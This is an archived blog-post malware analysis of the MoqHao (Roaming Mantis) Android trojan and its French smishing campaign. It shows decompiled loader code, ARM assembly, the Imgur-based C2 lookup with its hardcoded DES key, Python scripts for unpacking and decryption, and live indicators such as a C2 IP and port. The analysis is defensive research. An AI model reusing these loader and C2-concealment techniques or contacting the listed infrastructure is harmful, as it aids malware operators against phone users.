{
	"id": "ea1fadb5-c4a5-4c9b-825a-c5d2c1b963dd",
	"created_at": "2026-04-06T01:31:19.197632Z",
	"updated_at": "2026-04-10T03:34:59.348492Z",
	"deleted_at": null,
	"sha1_hash": "99398564d6073d6ccf78ddd478199f77cc72a71b",
	"title": "MoqHao Android malware analysis and phishing campaign",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1727668,
	"plain_text": "MoqHao Android malware analysis and phishing campaign\r\nPublished: 2022-08-11 · Archived: 2026-04-06 00:14:30 UTC\r\nMalware\r\nTechnical analysis of the MoqHao (a.k.a RoamingMantis) Android malware and phishing campaign\r\nAnalysis of MoqHao Android malware\r\nTL;DR\r\nThe Roaming Mantis cyber threat actor is currently targeting France with an SMS phishing campaign in order to deliver a\r\nmalicious Android application. This malware is named MoqHao, it contains its code in an encrypted and compressed\r\nresource. Once the resource is launched, MoqHao retrieves the IP address of its Command \u0026 Control server by decrypting\r\nthe “About” section of Imgur’s profile.\r\nYou can find samples and Python scripts on this Github repository.\r\nIntroduction\r\nRecently, both Alol and I received multiple phishing SMS (or “smishing”) with the same pattern. These SMS leads us to\r\ndownload malicious APK. Let’s investigate!\r\nSmishing campain\r\nThe smishing campaign has been targeting France for at least 1-2 months. The chain of infection is quite simple.\r\nThe victim clicks on the link in the SMS. Then, the site checks if the User-Agent is an Android/iPhone device and if the IP\r\naddress comes from France (geofencing). If it is not the case, you receive a 404 not found. Otherwise, Android devices will\r\nbe redirected to download a malicious APK and iPhone devices to a phishing website to steal iCloud credentials.\r\nExample of phishing SMS :\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 1 of 16\n\nEN : Your package has been sent. Please check it and receive it. hxxp://shbuf.bwdbu.com/\nIn this article, we will focus on the Android malicious application, named MoqHao. It is automatically downloaded when we\nclick on the link in the SMS thanks to following Javascript snippet :\n 1\n 2\n 3\n 4\n 5\n 6\n 7\n 8\n 9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n$ curl http://shbuf.bwdbu.com/ -A \"Mozilla/5.0 (Android 11; Mobile Firefox/83)\"\n\nWe can simply replace the eval function with a console.log and executes it to get the following clean JS code.\n1\n2\nalert(\"Afin d'avoir une meilleure expérience, veuillez mettre à jour votre navigateur Chrome à la dernière version\");\nlocation.replace(\"/hxdsvgyeiw.apk\");\nThis code opens a popup which says “For a better experience, please update your Chrome browser to the latest version”.\nThen redirects you to the android malware ( /hxdsvgyeiw.apk ).\nThe name of the APK changes every time you request the website. The resource folder name and the resource name of the\nmalware is also changed every time to bypass hash/string detection signature by AV.\n1\n2\n3\n$ sha256sum samples/*apk\nd18cbb0dc2321ef6ed05fea165afb19f2b23b651906ecfe3fe594f47377daa23 samples/rosolhvtig.apk\n7da86d30b325db5989f44a500c25df9bf76fcb94eae2bee26c8a851d47094b8e samples/ykvfcdselh.apk\nYou can check rosolhvtig.apk on VirusTotal, link.\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\nPage 2 of 16\n\nMalware analysis\r\nHere is the list of tools I used in this analysis with their purpose :\r\njadx-gui (Java/DEX decompiler)\r\nGhidra (Native library disassembler/decompiler)\r\nAVD (Run and manage Android VMs)\r\nFrida (Hooks functions inside Android app)\r\nBurpsuite (HTTP proxy)\r\nOverview of the application\r\nWe can use jadx-gui to view the source code of the malware.\r\nBefore diving into the code, we can notice two things in the file structure. We have a native library ( libvg.so ) and a\r\nresource with a weird name ( 1eqlsfh ). Let’s check the entropy (randomness of data) of the resource on CyberChef.\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 3 of 16\n\nWe get 7.99 as entropy, this means that the resource is encrypted and/or compressed. We can keep that in mind for later.\nIn the AndroidManifest.xml , we can extract the permissions and the name of the MainActivity.\n 1\n 2\n 3\n 4\n 5\n 6\n 7\n 8\n 9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n...\nOf course, the malware requires a large number of permissions, we can already make assumptions about the potential\nfunctionality of the malware.\nHere is the code of the MainActivity ( gb9i3m6.YrActivity ) :\n 1\n 2\n 3\n 4\n 5\n 6\n 7\n 8\n 9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\npackage gb9i3m6;\nimport android.app.Activity;\nimport android.content.Context;\nimport android.os.Bundle;\nimport s.ni;\npublic class YrActivity extends Activity {\n private static Object a(String str, String str2, boolean z, int i, boolean z2, String str3) {\n return ni.qc(str, str2, 1L, str3, 3, false, 0);\n }\n private static Object b(Context context) {\n return ni.pe(context, 0);\n }\n @Override // android.app.Activity\n protected void onCreate(Bundle bundle) {\n super.onCreate(bundle);\n Ud.c(this); // Create Ud instance from static function, then create new RgApplication\n Object[] objArr = new Object[2];\n try {\n Object b = b(this);\n objArr[1] = a(getPackageName(), YrActivity.class.getName(), false, 0, false, \"0\");\n objArr[0] = b;\n } catch (Exception unused) {\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\nPage 4 of 16\n\n27\r\n28\r\n29\r\n30\r\n31\r\n }\r\n ni.jf(\"\", objArr, 2, 0L, 1, false, 0, true, 1L, false);\r\n finish();\r\n }\r\n}\r\nAs you can see, the code is obfuscated and we have a lot of native library calls. All the calls are described here :\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\npackage s;\r\npublic class ni {\r\n public static native Object iz(Class cls);\r\n public static native void jf(String str, Object[] objArr, int i, long j, int i2, boolean z, int i3, boolean z2, long j2, boolean z3);\r\n public static native String ls(int i);\r\n public static native Object mz(String str, String str2, int i, boolean z);\r\n public static native Object oa(String str, Object obj, int i, boolean z, int i2);\r\n public static native void ob(Object obj, Object obj2);\r\n public static native String om(String str, String str2);\r\n public static native void op(Object obj, Object obj2, Object obj3, long j, boolean z, int i, String str);\r\n public static native String oq(Object obj, int i, String str, boolean z);\r\n public static native Object or(String str, Object obj, int i);\r\n public static native Object pe(Object obj, int i);\r\n public static native Object pi(Object obj, Object obj2, int i, boolean z, String str);\r\n public static native void pq(Object obj, Object obj2, Object obj3, Object obj4, String str, int i, long j, boolean z, int i2, long j2\r\n public static native Object qc(String str, String str2, long j, String str3, int i, boolean z, int i2);\r\n}\r\nNative library analysis\r\nThe interesting part is inside the RgApplication.java file :\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\npublic class RgApplication extends Application {\r\n public Object a;\r\n public Class b;\r\n private void a(Object obj) {\r\n Class cls = (Class) ni.oa(ni.ls(1), obj, 1, true, 0); // ClassLoader.loadClass(\"com.Loader\")\r\n this.b = cls;\r\n this.a = ni.iz(cls); // instantiate \"com.Loader\" Object\r\n }\r\n // [3] Write the resource to \u003c...\u003e/files/b and launch it\r\n private void b(String str, Object obj) {\r\n String oq = ni.oq(this, 1, \"\", true); // Get the absolut path of the \"files\" directory\r\n String om = ni.om(oq, \"b\"); // Concatenate \"/b\" to the absolut path\r\n e(om, obj); // write unpacked resource to \"\u003capp\u003e/files/b\"\r\n a(f(0, str, oq, om)); // new com.Loader() (Entrypoint of the unpacked DEX library)\r\n }\r\n // [2] Unpack the resource inside \"xmdop\" and call b(...)\r\n private void c(Object obj) {\r\n // ni.pi(this, obj, 1, false, \"\") : XOR and deflate the resource inside \"xmdop\"\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 5 of 16\n\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n b(obj.toString(), ni.pi(this, obj, 1, false, \"\"));\r\n }\r\n // [1] Call on Object creation\r\n private void d() {\r\n // load native library libvg.so\r\n Runtime.getRuntime().load(((PathClassLoader) getClassLoader()).findLibrary(\"vg\"));\r\n c(\"xmdop\"); // \"xmdop\" = resource folder name\r\n }\r\n private static Object e(String str, Object obj) {\r\n return ni.or(str, obj, 0); // write data to a file\r\n }\r\n private Object f(int i, String str, String str2, String str3) {\r\n return ni.mz(str3, ni.om(str2, str).toString(), 1, false); // new object ClassLoader\r\n }\r\n @Override // android.app.Application\r\n public void onCreate() {\r\n super.onCreate();\r\n try {\r\n d();\r\n } catch (Throwable unused) {\r\n }\r\n}\r\nFirst, the method d() is called, it loads the native library libvg.so and call c(\"xmdop\") (the parameter corresponds to\r\nthe name of the resource folder).\r\nSecondly, the method c(\"xmdop\") unpack the resource (XOR and zlib decompression) and call b(\"xmdop\", \"\r\n\u003cunpacked_resource\u003e\") .\r\nFinally, the method b(\"xmdop\", \"\u003cunpacked_resource\u003e\") , save the unpacked resource at\r\n/data/data/\u003cpackage_name\u003e/files/b and launch the unpacked resource which is a DEX file via\r\nClassLoader.loadClass(\"com.Loader\") .\r\ncom.Loader is a name of a class inside the unpacked resource.\r\nUnpack the resource\r\nNow, there are two ways to get the unpacked resource :\r\n1. Using adb to pull the DEX code directly from the infected device : adb pull /data/data/\u003cpackage_name\u003e/files/b\r\n.\r\n2. Using static code analysis of the native library function ni.pi(...) to find how the resource is unpacked.\r\nThe first argument of JNI functions is always JNIEnv * . The JNIEnv type is a pointer to a structure storing all JNI function\r\npointers. Each function is accessible at a fixed offset through the JNIEnv argument.\r\n1 typedef const struct JNINativeInterface *JNIEnv;\r\nYou can find the list of functions and offsets on this spreadsheet. The JNIEnv structure can be downloaded as Ghidra Data\r\nType (GDT), jni_all.gdt. So, you can import it on Ghidra and it will resolve automatically functions names when you change\r\nthe JNI function signature.\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 6 of 16\n\nJNI functions at a JNIEnv offset are now automatically resolved. This improves the readability of decompiled C code. There\r\nis the decompiled C code of the ni.pi(...) function :\r\nAs you can see on the screenshot above, the resource seems to be XORed and decompressed (zlib). Let’s switch to the\r\nassembler view to find the key of the XOR.\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n; [*] Get the first 12 bytes of the resource and stores it in r0\r\n8c9e : ldr.w r0, [fp]\r\n8ca2 : mov r1, r4\r\n8ca4 : movs r2, #0\r\n8ca6 : movs r3, #12 ; r3 = 12\r\n8ca8 : ldr.w r6, [r0, #800] ; offset of GetByteArrayRegion in JNIEnv struct\r\n8cac : add r0, sp, #44 ; r0 = sp + 44\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 7 of 16\n\n8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n54\r\n55\r\n56\r\n57\r\n58\r\n59\r\n60\r\n61\r\n62\r\n63\r\n64\r\n65\r\n66\r\n67\r\n68\r\n69\r\n70\r\n71\r\n8cae : str r0, [sp, #0] ; r0 = address of the buffer\r\n8cb0 : mov r0, fp\r\n8cb2 : blx r6\r\n; [*] Create a new Byte Array of 512 bytes\r\n; r4 = 11th bytes of the resource\r\n8cb4 : ldr.w r0, [fp]\r\n8cb8 : mov.w r1, #512 ; r1 = 512\r\n8cbc : mov r6, r5\r\n8cbe : ldrb.w r4, [sp, #55] ; r4 = r0 + 11, the 11th bytes of the resource\r\n8cc2 : ldr.w r2, [r0, #704] ; offset of NewByteArray in JNIEnv struct\r\n8cc6 : mov r0, fp\r\n8cc8 : blx r2\r\n8cca : sub.w sl, r7, #185\r\n8cce : mov r5, r0\r\n8cd0 : movs r0, #0\r\n8cd2 : strd r0, r0, [sp, #32] ; Initialize vector struct to store unxored resource\r\n ; #32 = vector.lpStart, #36 = vector.lpLastData\r\n8cd6 : str r0, [sp, #40] ; #40 = vector.lpEnd\r\n8cd8 : str r5, [sp, #24]\r\n8cda : str r6, [sp, #16]\r\n; [*] Loop to read the resource (512 bytes block), start from 12th bytes\r\n8cdc : ldr r1, [sp, #20]\r\n8cde : mov r0, fp ; r0 = *JNIEnv\r\n8ce0 : mov r2, r6 ; r2 = InputStream -\u003e int read(byte[] b)\r\n8ce2 : mov r3, r5 ; r3 = addr of 512 bytes array\r\n8ce4 : blx 7d64 \u003c_ZN7_JNIEnv13CallIntMethodEP8_jobjectP10_jmethodIDz@plt\u003e\r\n8ce8 : mov r8, r0\r\n8cea : cmp r0, #0\r\n8cec : blt.n 8d4e \u003cJava_s_ni_pi@@Base+0x23e\u003e\r\n8cee : ldr.w r0, [fp]\r\n8cf2 : ldr.w r3, [r0, #736] ; offset of GetByteArrayElements in JNIEnv struct\r\n8cf6 : mov r0, fp\r\n8cf8 : mov r1, r5\r\n8cfa : movs r2, #0\r\n8cfc : blx r3\r\n8cfe : add r6, sp, #32\r\n8d00 : mov r5, fp\r\n8d02 : mov r9, r0 ; r9 = @(bytes array return by GetByteArrayElements)\r\n8d04 : mov.w fp, #0 ; i = 0\r\n8d08 : b.n 8d32 \u003cJava_s_ni_pi@@Base+0x222\u003e\r\n; [*] Loop to XOR (byte per byte) the byte array with r4\r\n8d0a : ldrb.w r1, [r9, fp] ; r1 = resource[i], resource byte at index i\r\n8d0e : ldrd r0, r2, [sp, #36] ; r0 = vector.lpLastData, r2 = vector.lpEnd\r\n8d12 : eors r1, r4 ; r1 ^= r4 (r4 is still equal to the 11th bytes of the resource)\r\n8d14 : cmp r0, r2 ; cmp vector.lpLastData == vector.lpEnd\r\n8d16 : strb.w r1, [r7, #-185]\r\n8d1a : bcs.n 8d26 \u003cJava_s_ni_pi@@Base+0x216\u003e\r\n8d1c : strb r1, [r0, #0]\r\n8d1e : ldr r0, [sp, #36] ; *(vector.lpLastData) = r1 (unxored byte)\r\n8d20 : adds r0, #1 ; vector.lpLastData += 1\r\n8d22 : str r0, [sp, #36]\r\n8d24 : b.n 8d2e \u003cJava_s_ni_pi@@Base+0x21e\u003e\r\n8d26 : mov r0, r6 ; r0 = @vector\r\n8d28 : mov r1, sl ; r1 = unxored byte\r\n; https://stackoverflow.com/questions/51457322/what-is-stdvector-emplace-back-slow-path-stdvector-push-back-slow-path\r\n8d2a : blx 7d70 \u003c_ZNSt6__ndk16vectorIaNS_9allocatorIaEEE21__push_back_slow_pathIaEEvOT_@plt\u003e\r\n8d2e : add.w fp, fp, #1 ; i = i + 1\r\n8d32 : cmp fp, r8 ; cmp i == number of bytes read by InputStream -\u003e int read(byte[] b)\r\n8d34 : blt.n 8d0a \u003cJava_s_ni_pi@@Base+0x1fa\u003e ; jmp 0x8d0a (XOR loop)\r\nI would like to thanks Christophe for helping me on the ARM reverse engineering.\r\nThe resource (from the 12th byte to the end of the file) is XORed with the 11th byte of this same resource. So, we have the\r\nXOR key ! Let’s write a Python script to automatically unpack the resource.\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 8 of 16\n\nThe size of the unpack resource is indicated on bytes 8, 9 and 10 but is not used in the assembly code. We will use\r\nthe size in the Python script to make it more stable.\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n#!/usr/bin/env python3\r\nfrom sys import argv, exit as sys_exit\r\nfrom zlib import decompress\r\ndef unpack(path):\r\n \"\"\"Unpack resource of MoqHao malware.\"\"\"\r\n with open(path, \"rb\") as resource, open(path + \".dex\", \"wb\") as dex:\r\n data = resource.read()\r\n size = data[10] | data[9] \u003c\u003c 8 | data[8] \u003c\u003c 16\r\n xor_key = data[11]\r\n dec = bytes(data[12 + i] ^ xor_key for i in range(size))\r\n dex.write(decompress(dec))\r\n print(\"[*] Unpacked at '\" + path + \".dex'.\")\r\nif __name__ == \"__main__\":\r\n if len(argv) != 2:\r\n print(\"[!] Usage : \" + argv[0] + \" \u003cresource\u003e\")\r\n sys_exit(1)\r\n \r\n unpack(argv[1])\r\nOnce we run the script, we get a Dalvik dex file.\r\n1\r\n2\r\n3\r\n4\r\n$ python3 unpack.py rosolhvtig/assets/xmdop/1eqlsfh\r\n[*] Unpacked at 'rosolhvtig/assets/xmdop/1eqlsfh.dex'.\r\n$ file rosolhvtig/assets/xmdop/1eqlsfh.dex\r\nrosolhvtig/assets/xmdop/1eqlsfh.dex: Dalvik dex file version 035\r\nWe can check that our script works correctly by comparing the obtained file with the resource unpacked by MoqHao.\r\n1\r\n2\r\n3\r\n4\r\n$ sha256sum rosolhvtig/assets/xmdop/1eqlsfh.dex\r\n3ec148623983c6f68b522a182d72330d93ed62e5f57db81c40b8bbad128e1541 rosolhvtig/assets/xmdop/1eqlsfh.dex\r\n$ adb shell sha256sum /data/data/fzicp.hmoj.zqzf.cnuxf/files/b\r\n3ec148623983c6f68b522a182d72330d93ed62e5f57db81c40b8bbad128e1541 /data/data/fzicp.hmoj.zqzf.cnuxf/files/b\r\nWe are good ! Now, let’s dive into the new DEX code analysis.\r\nRetrieve C2 URL\r\nFrom the previous code analysis, we know that the unpacked resource is run by creating a new object of the class\r\ncom.Loader .\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 9 of 16\n\njadx-gui gives us some statistics about the DEX file :\r\n1\r\n2\r\nClasses: 615\r\nMethods: 2876\r\nWe will not go through all the classes and methods, but only the more important ones.\r\nIn the code, we can see a lot of HTTP requests. To find where to start static code analysis, let’s run the application with\r\nBurpsuite as proxy. Maybe we will obtain a good entry point to focus our research on.\r\nWhen we start MoqHao, the following HTTP request is made :\r\nHere is the HTTP request in plaintext :\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 10 of 16\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nGET /user/shaoye99/about HTTP/2\r\nHost: imgur.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\r\nAccept: text/html,*/*;q=0.8\r\nAccept-Encoding: gzip, defate\r\nAccept-Language: zh-CN,zh;0.8,en;q=0.6\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nLet’s visit the link, hxxps://imgur.com/user/shaoye99/about :\r\nThe about section of the profile seems to contain encrypted data. Let’s use the previous information to start static code\r\nanalysis.\r\nBy searching for the string shaoye99 , we came across the following line which is very interesting.\r\n1 private final String f279m = \"chrome|shaoye77@imgur|shaoye88@imgur|shaoye99@imgur\";\r\nWe can look for some cross-references and we get the following big function.\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\npublic final String getDefaultAccounts() {\r\n return this.f279m;\r\n}\r\npublic final String mo333a() {\r\n // ...\r\n \r\n String string = Loader.access$getPreferences$p(Loader.this).getString(\"addr_accounts\", Loader.this.getDefaultAccounts());\r\n // string = \"chrome|shaoye77@imgur|shaoye88@imgur|shaoye99@imgur\";\r\n C0474i.m321c(string, \"addrAccountsStr\");\r\n m204M = C0533v.m204M(string, new char[]{'|'}, false, 0, 6, null); // split on '|'\r\n String locale = Locale.getDefault().toString();\r\n C0474i.m321c(locale, \"Locale.getDefault().toString()\");\r\n m217i = C0532u.m217i(locale, \"ko\", false, 2, null);\r\n if (m217i) {\r\n access$getPreferences$p = Loader.access$getPreferences$p(Loader.this);\r\n obj = m204M.get(1); // if locale is 'ko', then use 'shaoye77@imgur'\r\n } else {\r\n m217i2 = C0532u.m217i(locale, \"ja\", false, 2, null);\r\n if (m217i2) {\r\n access$getPreferences$p = Loader.access$getPreferences$p(Loader.this);\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 11 of 16\n\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n50\n51\n52\n53\n54\n55\n56\n57\n obj = m204M.get(2); // if locale is 'ja', then use 'shaoye88@imgur'\n } else {\n access$getPreferences$p = Loader.access$getPreferences$p(Loader.this);\n obj = m204M.get(3); // else use 'shaoye99@imgur'\n }\n }\n String string2 = access$getPreferences$p.getString(\"account\", (String) obj);\n // For french user, string2 = obj = 'shaoye99@imgur'\n if (!C0474i.m323a(string2, \"unknown\")) {\n C0474i.m321c(string2, \"account\");\n String m759g = C0337t.m759g(string2); // Fetch C2 IP address\n Log.d(\"WS\", \"ACC:\" + string2);\n if (m759g == null) {\n Loader.this.f276j = \"DNS ERROR\";\n String string3 = Loader.access$getPreferences$p(Loader.this).getString(\"last_addr\", \"\");\n if (!C0474i.m323a(string3, \"\")) {\n m759g = string3;\n }\n this.f400c.f860a++;\n return m759g;\n }\n m217i3 = C0532u.m217i(m759g, \"ssl://\", false, 2, null);\n if (m217i3) {\n str = C0532u.m221e(m759g, \"ssl://\", \"wss://\", false, 4, null);\n } else {\n str = \"ws://\" + m759g;\n }\n // Store C2 IP address into 'last_addr' SharedPreferences\n Loader.access$getPreferences$p(Loader.this).edit().putString(\"last_addr\", str).apply();\n return str;\n }\n throw new IllegalStateException(\"null......\");\n }\n}\nThe string \"chrome|shaoye77@imgur|sha...\" is split with the separator | . Then, if the locale of the phone is :\nko (Korean), use shaoye77@imgur\nja (Japan), use shaoye88@imgur\nelse, use shaoye99@imgur\nThen, send the imgur profile to C0337t.m759g(string2); . With a French phone, we will get\nC0337t.m759g(\"shaoye99@imgur\"); , this corresponds to the imgur profile we saw on Burpsuite.\nThe m759g function returns the C2 IP \u0026 port (we will reverse it very soon), then store it inside “last_addr”\nSharedPreferences.\nSo, to get the C2 IP address and port, we have two ways :\n1. Extract last_addr from the SharedPreferences.\n2. Analyse the function m759g to determine how MoqHao retrieves the C2 from the Imgur profiles.\nThe first way is very simple, you just need to view the content of pref.xml :\n1\n2\n3\n4\n5\n6\n7\n$ adb shell cat /data/data//shared_prefs/pref.xml\n?xml version='1.0' encoding='utf-8' standalone='yes' ?\u003e\nws://107.148.160.222:28867 And bingo, we got our C2 ws://107.148.160.222:28867 !\nThe second way, is also quite simple, we need to go through the Java code. Let’s do this by analysing the method\nC0337t.m759g(string2) :\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\nPage 12 of 16\n\n1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\npublic static final String m759g(String str) {\r\n List m204M;\r\n C0474i.m320d(str, \"acc\");\r\n m204M = C0533v.m204M(str, new char[]{'@'}, false, 0, 6, null);\r\n if (C0474i.m323a((String) m204M.get(1), \"debug\")) {\r\n return (String) m204M.get(0);\r\n }\r\n if (C0474i.m323a((String) m204M.get(1), \"vk\")) {\r\n return m752n((String) m204M.get(0));\r\n }\r\n if (C0474i.m323a((String) m204M.get(1), \"youtube\")) {\r\n return m751o((String) m204M.get(0));\r\n }\r\n if (C0474i.m323a((String) m204M.get(1), \"ins\")) {\r\n return m753m((String) m204M.get(0));\r\n }\r\n if (C0474i.m323a((String) m204M.get(1), \"GoogleDoc\")) {\r\n return m756j((String) m204M.get(0));\r\n }\r\n if (C0474i.m323a((String) m204M.get(1), \"GoogleDoc2\")) {\r\n return m755k((String) m204M.get(0));\r\n }\r\n if (C0474i.m323a((String) m204M.get(1), \"blogger\")) {\r\n return m758h((String) m204M.get(0));\r\n }\r\n if (C0474i.m323a((String) m204M.get(1), \"blogspot\")) {\r\n return m757i((String) m204M.get(0));\r\n }\r\n if (!C0474i.m323a((String) m204M.get(1), \"imgur\")) { // if NOT EQUALS to imgur\r\n return null;\r\n }\r\n return m754l((String) m204M.get(0)); // then, imgur request is made\r\n}\r\nm759g calls a function with the name of the profile in parameter according to the platform used (imgur, vk, youtube,\r\ngoogledoc, …).\r\nFor example, the string shaoye99@imgur is split on @ :\r\nshaoye99 = m204M.get(0)\r\nimgur = m204M.get(1)\r\nWith our imgur profile, we will call m754l('shaoye99') . Its goal is to extract the about section of the imgur profile and\r\ndecrypt it with DES in CBC mode.\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n// Extract about section\r\npublic static final java.lang.String m754l(java.lang.String r7) {\r\n C0474i.m320d(str, \"acc\");\r\n C0482q c0482q = C0482q.f864a;\r\n String format = String.format(\"https://imgur.com/user/%s/about\", Arrays.copyOf(new Object[]{str}, 1));\r\n C0474i.m321c(format, \"java.lang.String.format(format, *args)\");\r\n String str2 = null;\r\n try {\r\n // search for regex :\r\n // - ffgtrrt([\\\\w_-]+?)ffgtrrt\r\n // - bgfrewi([\\\\w_-]+?)bgfrewi\r\n // - htynff([\\\\w_-]+?)htynff\r\n // - gfjytg([\\\\w_-]+?)gfjytg\r\n // - dseregn([\\\\w_-]+?)dseregn\r\n // results in 'group' variable\r\n if (group != null) {\r\n str2 = m762d(group);\r\n }\r\n } catch (Exception e) {\r\n e.printStackTrace();\r\n }\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 13 of 16\n\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n if (str2 == null) {\r\n Log.e(\"MSG\", \"DNS ERR\");\r\n }\r\n return str2;\r\n}\r\n// Base64 decode and call function to decrypt\r\npublic static final String m762d(String str) {\r\n C0474i.m320d(str, \"str\"); // check str is not null\r\n byte[] decode = Base64.decode(str, 8); // base64 decode\r\n C0474i.m321c(decode, \"Base64.decode(str, 8)\"); // check decode is not null\r\n return new String(m764b(decode, \"Ab5d1Q32\"), \"UTF-8\"); // decrypt with DES (mode CBC)\r\n}\r\n// Decrypt with KEY = IV = \"Ab5d1Q32\"\r\npublic static final byte[] m764b(byte[] bArr, String str) {\r\n C0474i.m320d(bArr, \"src\");\r\n C0474i.m320d(str, \"paramString\");\r\n SecureRandom secureRandom = new SecureRandom();\r\n Charset charset = C0510d.f880a;\r\n byte[] bytes = str.getBytes(charset);\r\n C0474i.m321c(bytes, \"(this as java.lang.String).getBytes(charset)\");\r\n SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, \"DES\");\r\n Cipher cipher = Cipher.getInstance(\"DES/CBC/PKCS5Padding\");\r\n byte[] bytes2 = str.getBytes(charset);\r\n C0474i.m321c(bytes2, \"(this as java.lang.String).getBytes(charset)\");\r\n cipher.init(2, secretKeySpec, new IvParameterSpec(bytes2), secureRandom);\r\n byte[] doFinal = cipher.doFinal(bArr);\r\n C0474i.m321c(doFinal, \"cipher.doFinal(src)\");\r\n return doFinal;\r\n }\r\nAs you can see, the AES key is harcoded, m764b(decode, \"Ab5d1Q32\") , and the IV is equal to the key.\r\nWe can easily make a Python script to decrypt C2 URI.\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n#!/usr/bin/env python3\r\nfrom sys import argv, exit as sys_exit\r\nfrom base64 import urlsafe_b64decode\r\nfrom Crypto.Cipher import DES\r\nKEY = b\"Ab5d1Q32\"\r\nIV = KEY\r\ndef decrypt(ciphertext):\r\n \"\"\"Decrypt MoqHao C2 URI.\"\"\"\r\n for group in [\"ffgtrrt\", \"bgfrewi\", \"htynff\", \"gfjytg\", \"dseregn\"]:\r\n ciphertext = ciphertext.replace(group, \"\")\r\n data = urlsafe_b64decode(ciphertext + \"==\")\r\n cipher = DES.new(KEY, DES.MODE_CBC, iv=IV)\r\n return cipher.decrypt(data)\r\nif __name__ == \"__main__\":\r\n if len(argv) != 2:\r\n print(\"[!] Usage : \" + argv[0] + \" \u003cciphertext\u003e\")\r\n sys_exit(1)\r\n decrypt(argv[1])\r\nThere is an example :\r\nhttps://www.xanhacks.xyz/p/moqhao-malware-analysis\r\nPage 14 of 16\n\n1\r\n2\r\n3\r\n4\r\n$ python3 decrypt_c2.py\r\n[!] Usage : decrypt_c2.py \u003cciphertext\u003e\r\n$ python3 decrypt_c2.py 'bgfrewiFaRPCdEp9o05vGWA-r0_i_IHXXynJgDlbgfrewi'\r\nb'[*] Cleartext : 107.148.160.222:28867\\x03\\x03\\x03'\r\nWe get the same C2 as with the SharedPreferences, voilà 